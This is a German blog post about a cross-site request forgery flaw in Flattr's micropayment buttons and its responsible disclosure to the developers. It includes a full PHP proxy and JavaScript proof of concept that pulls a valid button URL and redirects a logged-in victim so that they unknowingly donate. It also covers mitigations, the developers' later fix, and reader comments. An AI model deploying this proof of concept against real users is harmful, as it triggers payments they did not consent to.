04 Juni 2010 ~ 19 Comments | ÄHNLICHE ARTIKEL

[Update] Flattr-Manipulation ist (nicht mehr?) möglich!


Diesen Artikel drucken Diesen Artikel drucken
Diesen Artikel vorlesen Diesen Artikel vorlesen

Gestern habe ich darüber berichtet, dass ich mir nun auch einen der Beta-Accounts der neuen Micropayment-Plattform Flattr geholt habe (ich habe übrigens noch 3 Einladungen dafür zu verschenken). Am Ende des Artikels hatte ich eine mögliche Angriffsfläche erwähnt, die auch schon bei Twitter ausgenutzt worden ist. Wie ich nun durch eigene Tests herausgefunden habe, ist es tatsächlich möglich, Besucher einer Seite dazu zu bringen, völlig unbekannte Seiten zu flattrn.

Die Theorie hinter dem Angriff ist relativ einfach erklärt: Damit Flattr wirklich sinnvoll genutzt werden kann, muss man permanent eingeloggt sein. Es wird wohl kaum Nutzer geben, die sich jedes Mal erst einloggen wollen, bevor sie einen Flattr-Button drücken können. Diesen permanenten Login kann man nun missbrauchen, um Webnutzer dazu zu bringen, den Flattr-Button (bzw. den Link, der sich dahinter verbirgt) anzuklicken.
In der Praxis haben die Entwickler von Flattr versucht, dies dadurch zu verhindern, indem bei jedem Pageload ein (möglichst zufälliger) Link für den Button generiert wird. Damit kann man nicht einfach die URL zum Button irgendwo verlinken. Die Linkgenerierung selbst ist dabei in der Flattr-API gekapselt, die auch dafür sorgt, den Button in einem iFrame zu platzieren – eventuell, um den Button damit zusätzlich von außen abzuschotten.

Eine Schwäche hat die Abschottung jedoch: Die URL, die generiert wird, um den iFrame zu laden, ist statisch. Das sorgt dafür, dass man die URL auslesen und erneut aufrufen kann. Damit lassen sich dann beliebig viele – gültige – Button-URLs generieren. Ein weiteres Problem ist, dass die Button-URLs selbst vollkommen funktionstüchtig sind. Es wird nicht einmal der Referrer überprüft, um sicher zu gehen, dass der Button wirklich auf der Seite geklickt wurde, für die auch der Klick bestimmt ist.

In meinen Versuchen bin ich ziemlich grob vorgegangen: Ich habe für das Ausnutzen der Lücke ein Mini-PHP-Proxy-Script und ein Stückchen JavaScript geschrieben. Durch die beiden Teile kann man die Button-URL jeder x-beliebigen Webseite, die Flattr einsetzt, verlinken. Bisher nehme ich einfach immer die erste Button-URL, die ich finde – das ließe sich aber leicht modifizieren.

Wenn man jemanden dazu bringen möchte, irgendeine Seite zu flattrn, schiebt man ihm einen Link auf das Proxy-Script unter. Dieser Link kann beliebig maskiert sein. Wenn das Opfer die URL aufruft, wird wie folgt vorgegangen:

  • Im ersten Schritt lädt das Proxy-Script den Quelltext der Seite, von der die Button-URL genutzt werden soll. Vor dem “</body>”-Tag wird ein Stück JavaScript eingeschleust, das sich um das Auslesen der Button-URL kümmert.
  • Beim Auslesen der Button-URL wird im Seitenquelltext nach dem iFrame gesucht, der auf die Seite “http://api.flattr.com” verlinkt. Wurde dieser iFrame gefunden, wird die entsprechende URL via AJAX heruntergeladen. Das Proxy-Script wird hier deshalb benutzt, um das Cross-Origins Problem zu umgehen (schließlich müssen wir die URL “http://api.flattr.com” auslesen können).
  • Im erhaltenen Quelltext suchen wir nach dem Anchor, der wiederum auf den Host “http://api.flattr.com” verweist. Diese URL ist die Button-URL! Der andere Link weist lediglich auf “http://flattr.com”.
  • Im Beispiel wird nun per JavaScript eine Relocation vorgenommen, um direkt die Button-URL anzuspringen. Es gibt sicherlich auch Möglichkeiten, das ganze unauffälliger zu machen (z.B. wieder über das Proxy-Script, über das einfach ein Bild nachgeladen wird).

Alle gezeigten Schritte sind lediglich beispielhaft. Es ist mir klar, dass Leute, die mehr Zeit in das Ganze investieren auch unscheinbarere Wege finden werden. Das Vehikel aus PHP und AJAX habe ich z.B. lediglich gewählt, um den Implementierungsaufwand (URLs laden, XML parsen) so gering wie möglich für mich zu halten.

Hier nun die von mir verwendeten Quelltexte. Zuerst der PHP-Proxy. In diesen habe ich noch die Sperre eingebaut, dass nur “http://”-Pfade übergeben werden dürfen. Damit soll verhindert werden, dass man sich ein riesiges Einfallstor errichtet, mit dem Leute beliebige Daten auf der eigenen Platte lesen können.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
  $body     = "</body>";
  $protocol = "http://";
  $script   = "<script type=\"text/javascript\" src=\"/flattr.js\"></script><script type=\"text/javascript\">window.location = getLink('/flattr.php?keepurl=');</script>";
 
  if (isset($_GET["keepurl"])) {
    if (stripos($_GET["keepurl"], $protocol) == 0) {
      print(file_get_contents($_GET["keepurl"]));
    }
  } else {
    if (isset($_GET["changeurl"])) {
      if (stripos($_GET["changeurl"], $protocol) == 0) {
        $temp = file_get_contents($_GET["changeurl"]);

        $pos = stripos($temp, $body);
        if ($pos !== false) {
          print(substr($temp, 0, $pos) . $script . substr($temp, $pos, strlen($temp)));
        }
      }
    }
  }
?>

Und hier nun die JavaScript-Datei. Den AJAX-Download habe ich mir teilweise ausgeliehen. Der Einfachheit halber verwende ich den synchronen Download. Zum Parsen des ausgelesenen Frame-Quelltextes verwende ich einfach einen Paragraph, den ich dann weiter abfrage.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
  String.prototype.startsWith = function(str){return (this.match("^"+str)==str)};
 
  var apiStarter = "http://api.flattr.com/";

  // as taken from http://www.developers-guide.net/c/117-eine-einfuehrung-in-ajax-und-xmlhttprequest.html
  function createHttpRequest() {
    var result = null;
 
    if (window.ActiveXObject) {
      try {
        // IE 6 and higher
        result = new ActiveXObject("MSXML2.XMLHTTP");
      } catch (e) {
        try {
          // IE 5
          result = new ActiveXObject("Microsoft.XMLHTTP");
        } catch (e) {}
      }
    } else {
      if (window.XMLHttpRequest) {
        try {
          // Mozilla, Opera, Safari ...
          result = new XMLHttpRequest();
        } catch (e) {}
      }
    }

    return result;
  }
 
  function retrieveSource(url, returnScript) {
    var result = null;

    var httpRequest = createHttpRequest();

    if (httpRequest != null) {
      httpRequest.open("GET", returnScript + encodeURIComponent(url), false);
      httpRequest.send(null);

      if ((httpRequest.readyState == 4) && (httpRequest.status == 200)) {
        result = httpRequest.responseText;
      }
    }

    return result;
  }
 
  function getLink(returnScript) {
    var result = null;
 
    var allFrames   = document.getElementsByTagName("iframe");
    var allLinks    = null;
    var singleFrame = null;
    var singleLink  = null;

    var outputElement = document.createElement("p");

    for (var indexA = 0; indexA < allFrames.length; indexA++) {
      singleFrame = allFrames[indexA];

      if (singleFrame != null) {
        if (singleFrame.src.startsWith(apiStarter)) {
          outputElement.innerHTML = retrieveSource(singleFrame.src, returnScript);

          allLinks = outputElement.getElementsByTagName("a");

          for (var indexB = 0; indexB < allLinks.length; indexB++) {
            singleLink = allLinks[indexB];

            if (singleLink != null) {
              if (singleLink.href.startsWith(apiStarter)) {
                result = singleLink.href;
              }
            }

            if (result != null) {
              break;
            }
          }
        }
      }

      if (result != null) {
        break;
      }
    }

    return result;
  }

Der bisher einzige Weg, diesem Angriff zu entgehen, ist, sich nicht permanent bei Flattr einzuloggen (sprich beim Login das Kästchen “Keep me logged in” nicht zu aktivieren). Als Lösung würde ich bisher nur eine zusätzliche Abfrage direkt auf dem Flattr-Server sehen. So könnte verhindert werden, dass das reine Anklicken der Button-URL bereits als Zustimmung gewertet wird. Um den Zugriff auf die Button-URL zu erschweren, müsste man die Frame-URL genauso zufällig (und nur einmal nutzbar) gestalten, wie die Button-URL. Dadurch, dass beim eigentlichen Anzeigen des Buttons diese einmalige Verwendung bereits aufgebraucht werden würde, könnte die eigentliche Button-URL danach nicht mehr ausgelesen werden.

Zum Schluss sei noch etwas erwähnt:
Die hier bereitgestellten Informationen dienen lediglich der eigenen Weiterbildung und zur Absicherung der eigenen Systeme. Unter keinen Umständen darf dieses Wissen zur Manipulation von fremden IT-Systemen missbraucht werden: dies ist nach deutschem Recht unter Androhung einer Freiheitsstrafe verboten.

Update:
Da @huxi mich gerade daran erinnert hat: Ich habe mich heute morgen nach Fertigstellung des Proof-of-Concept natürlich an die Entwickler von Flattr gewandt, um ihnen von dem Sicherheitsproblem zu berichten. Dabei habe ich von Paul Sunde persönlich die Aussage erhalten, dass bereits an dem Problem gearbeitet wird. Ich habe ihn auch darum gebeten, mir Bescheid zu geben, wenn der Fehler behoben ist, damit ich ein Update hier im Blog posten kann. Gerade habe ich ein Schreiben von Linus Olsson bekommen, in dem er um meine Ideen für eine mögliche Lösung fragt. Werde also gleich mal in die Tasten hauen.

Update:
Habe jetzt den Text an Linus geschickt. Wer des Englischen mächtig ist und sich für die Lösungsvorschläge interessiert, kann sich ja folgenden Text antun:

Dear Linus,

one of my friends called @huxi had a nice idea which does not solve the problem itself but which could circumvent any problems with unsolicited flatterings: an undo-function. He said, that it would be great to unflatter a “thing” when clicking on the button again. In that way you could at least intervene when you (as a donor) gain knowledge about a fraudulent transaction.

http://weizenspr.eu/2010/flattr-manipulation-ist-moglich/#comment-2760

Please tell me when I’m wrong but as I have understood it you have put the flattr button into an iFrame to prevent direct access on its source code (thus using the same origin policy of most modern browsers). This was a very intelligent step as it made accessing the data a lot harder. But the problem you have is that the URL to the content displayed in the iframe is static. So you can just grab the URL and access the page through other means (e.g. a PHP proxy script). To prevent this from happening you would have to use dynamic URLs for the iframe content as well. Maybe this could be achieved by extending the API so that URL generation for a certain content is only possible with the correct user ID and password. You would then send a request to the API which returns the (dynamically generated) URL to the iframe content, which can only be used once.

A final protection would be some kind of confirmation – like a captcha (@huxi suggested that one) or just a simple yes/no dialog box. The matter with this final confirmation is that – in my opinion – it cannot be broken by code injection. When you wanted to break it you would have to use an intermediary (like a proxy) again, but using a proxy this time would mean to lose the necessary session/cookie information we need to execute the cross-site request forgery.

I hope these information will help a bit.

With kind regards,
Kenny



Update:
Wie es scheint, haben die Entwickler von Flattr nun eine Lösung für das Problem implementiert. Wenn man den Cross-Site Request Forgery nun ausprobiert, landet man bei diesem Sicherheitshinweis. Ich denke, ich habe herausgefunden, wie sie diese Lösung implementiert haben: Sie scheinen sich beim Generieren der Button-URL zu merken, welche IP die Generierung veranlasst hat. Beim “Klick” wird dann die Generator-IP mit der Klicker-IP verglichen.
Diese Sicherung schützt im Moment vor dem präsentierten Angriff, da für das Generieren der Button-URL derzeit ein externes PHP-Script verwendet wird. Sollte es möglich sein, den API-Call zur Button-URL-Generierung ohne die Verwendung eines Proxies ausführen zu lassen, sollte diese Sicherung ausgehebelt sein.

Informierende Grüße, Kenny



Ähnliche Artikel:

  • [Update] Hallimash ist (nicht mehr) genauso schlimm wie Trigami!
    Gerade habe ich mich bei Hallimash angemeldet, weil ich mal sehen wollte, wie gut sich diese Plattform im Vergleich zu Trigami schlägt. Und was soll ich sagen? Schon beim ersten durchgucken musste ich feststellen, dass die Entwickler der Webseite...
  • Das Potential von Flattr
    Nachdem ich meinen Blog ja eigentlich erstmal nicht mit Flattr ausstatten wollte, hat die Neugier nun doch überwogen. Freundlicherweise hat mir @ChrisGrabinski einen seiner Invite-Codes überlassen (bisher ist die Plattform noch in der geschlossenen...
  • [Update] Flash-Musikplayer und “about:cache”
    Viele Leute scheinen zu glauben, dass Flash-Musikplayer eine supertolle Erfindung sind! Es scheint ja auch einleuchtend: Man hat da ein Stück Software, das einfach so Lieder abspielt, ohne, dass man diese downloaden muss. Der Trugschluss scheint zu...
  • Topsy mit BBCode-Support
    Soderle, nachdem der erste Versuch, den Blog mit Twitter zu verbinden gründlich schief gegangen ist, habe ich nun einen neuen Versuch gestartet, der auch mir einen kleinen Vorteil verschafft. :-) Und zwar habe ich nun das Plugin Topsy Widgets...
  • T-Mobile vs. Lokaler DNS-Server
    Nachdem ich euch vorhin ein Programm vorgestellt habe, mit dem man im Handumdrehen eine BIND-Installation in einen lokalen DNS-Server verwandeln kann, wollte ich euch nun kurz berichten, was für Probleme es mit dessen Verwendung beim...


13 Comments to “[Update] Flattr-Manipulation ist (nicht mehr?) möglich!”

  1. Deals 9 Juni 2010 at 16:02 Permalink

    Unabhängig von Flattr-Manipulationsmöglichkeiten ist es wirklich ein System mit dem man real Geld gewinnen kann?

    • Mea Culpa 9 Juni 2010 at 22:25 Permalink

      Wie ich in meinem anderen Artikel zum Thema ‘Flattr’ angemerkt habe, hängt die Antwort auf diese Frage davon ab, wie sich das System weiter entwickelt: oder genauer, ob reine Konsumenten vom Flattr-System überzeugt werden können. Falls ja, ist es durchaus eine reale Geldquelle (abhängig von der Zahl der reinen Konsumentennutzer). Bleibt es jedoch ein reines Geek- und Blogger-Spielzeug, dann wird das dazu führen, dass einfach nur das Geld der kleinen Blogger zu den großen deutschen Blogs fließen wird.

  2. wemaflo 4 Juni 2010 at 14:39 Permalink

    Hm, blöde Sache das. Allerdings gab es heute ein Update (wie ich eben sehen konnte), vielleicht ist das Problem oder ein Teil davon ja schon gefixt? Müsste man sich mal ansehen.

    Grüße
    wemaflo

    • Mea Culpa 4 Juni 2010 at 14:42 Permalink

      Ich habe es vorhin gegen 13 Uhr ausprobiert und der Fehler war noch nicht behoben. Das würde sich auch mit der Tatsache decken, dass ich nach potentiellen Problemlösungen gefragt worden bin. Wie gesagt hoffe ich ja, dass Peter daran denkt, mir Bescheid zu geben, wenn das Problem behoben worden ist. :-)

  3. iThoughts.de 4 Juni 2010 at 13:23 Permalink

    Hast du den Flattr Leuten das mal per Mail auf Englisch geschickt? Vielleicht hilfts ja :-)

    • Mea Culpa 4 Juni 2010 at 13:32 Permalink

      Ich hatte das Flattr-Team heute morgen gegen halb sieben angeschrieben und die Antwort bekommen, dass sie sich bereits um das Problem kümmern. Bin gespannt, wie ihre Lösung für das Problem aussehen wird. :-)

  4. Moritz 4 Juni 2010 at 13:13 Permalink

    Sauber. Ich blick zwar nur die Hälfe von dem, was du gemacht hast, aber was dabei passiert hab ich verstanden… ziemlich peinlich für Flattr, wenn ihr mich fragt.

  5. David 4 Juni 2010 at 13:10 Permalink

    Klassisches CSRF. Lösung wäre ein einfaches CSRF Token und Submit per POST. Ist ja alles noch Beta, kommt bestimmt noch.

    • Mea Culpa 4 Juni 2010 at 13:31 Permalink

      Ich bin der Meinung, dass so etwas gefixt sein sollte, bevor man in die Beta-Phase geht. Bei Twitter ist XSRF nur ärgerlich, bei Flattr hängen reale Geldwerte daran. Deshalb sollte dort mit besonderer Vorsicht vorgegangen werden.

  6. huxi 4 Juni 2010 at 12:29 Permalink

    Zusätzlich (!!) sollte es auch die Möglichkeit geben, einen Flattr wieder rückgängig zu machen. Dadurch könnte man den erugaunerten Flattr einfach entfernen und ggf. auch den Link reporten, falls man den Eindruck hat, dass der Inhaber der Bösewicht war.

    Ein Klick auf “Flattred” könnte wieder auf “Flattr” zurückschalten, evtl. mit Nachfragen. Die gleiche Möglichkeit sollte auch im Dashboard zur verfügung stehen.

    Generell sollte mindestens, wie von dir Vorgeschlagen, die Frame-URL einmalig sein. Evtl. eben auch noch ein Captcha dazu, das nervt dann aber schon wieder. :p

    Und um mal abschließend ein bisschen zu ranten:
    Das erzeugte iframe is mal *wirklich* nervig…! Ich verwende deshalb nur den statischen Button :p

    Jemand sollte Fefe über diesen Artikel informieren… ;)

    • Mea Culpa 4 Juni 2010 at 13:28 Permalink

      Ja, ein Flattering rückgängig machen, wäre wirklich eine gute Idee :-) . Ein Captcha fände ich allerdings ziemlichen overkill. Reicht schon, dass man beim Einloggen ein ReCaptcha lösen muss. Wie hast du denn den statischen Button eingebunden?

  7. Lutoma 4 Juni 2010 at 08:24 Permalink

    Autsch. Finde die Version mit dem Bestätigen auf der Flattrseite am sinnvollsten.


6 Trackbacks to “[Update] Flattr-Manipulation ist (nicht mehr?) möglich!”

  1. [...] [Update] Flattr-Manipulation ist (nicht mehr?) möglich! | WeizenSpr.eu [Update] Flattr-Manipulation ist (nicht mehr?) möglich! http://goo.gl/bb0u Sieht nach recht flotter Reaktion aus… [...]

  2. [...] [Update] Flattr-Manipulation ist (nicht mehr?) möglich! | WeizenSpr.eu. | « Engelke: Deutsch für Türken 1 Kommentar = 1 [...]

  3. <strong>…</strong>

    RT @weizenspreu: Ich hätte nicht (erfolgreich) versuchen sollen, #Flattr zu manipulieren. #muede…

  4. [...] du vielleicht Interesse an meinem RSS feed? Vielen Dank jedenfalls für deinen Besuch!Inwiefern der hier vorgestellte Hack noch funktioniert, weiß ich nicht, da ich es zum einen nicht ausprobieren möchte (hier [...]

  5. [...] Kenny informiert über eine Möglichkeit der Flattr-Manipulation und im Interview mit Netzpolitik.org erzählt Peter Sunde, einer der Macher von Flattr, was sie gerade so machen (außer hoffentlich die von Kenny beschriebene Lücke zu stopfen)… Und alle anderen erzählen, wie viel Geld sie letzten Monat “erflattrt” haben. Habe auch mal nachgeschaut: knapp 3 Euro. War aber auch kein kompletter Monat, aber trotzdem mehr, als ich erwartet hätte (ich dachte an ein paar Cent). Mal schauen, was darauf noch so wird… [...]

  6. [...] This post was mentioned on Twitter by Kevin Niehage, Kevin Niehage. Kevin Niehage said: Flattr-Manipulation ist möglich! http://weizenspr.eu/2010/flattr-manipulation-ist-moglich/ #blog #flattr #manipulation #ajax #php [...]

Leave a Comment

Dir stehen verschiedene Möglichkeiten zur Verfügung, um deinen Beitrag optisch zu gestalten. Möglichkeiten anzeigen

fett
[b]Text[/b]
blinkend
[blink]Text[/blink]
kursiv
[i]Text[/i]
überstrichen
[o]Text[/o]
durchgestrichen
[s]Text[/s]
runtergestellt
[sub]Text[/sub]
hochgestellt
[sup]Text[/sup]
unterstrichen
[u]Text[/u]
Farbe
[color=Farbe]Text[/color]
Schriftart
[font=Schriftart]Text[/font]
Größe
[size=Größe]Text[/size]
Mail-Adresse
[mail=Adresse]Beschreibung[/mail]
URL-Adresse
[url=Adresse]Beschreibung[/url]
Bild
[img=Adresse]Beschreibung[/img]
187
no-www.org extra-www.org

Datenbank: 88 Abfragen in 0.6350.635 Sekunden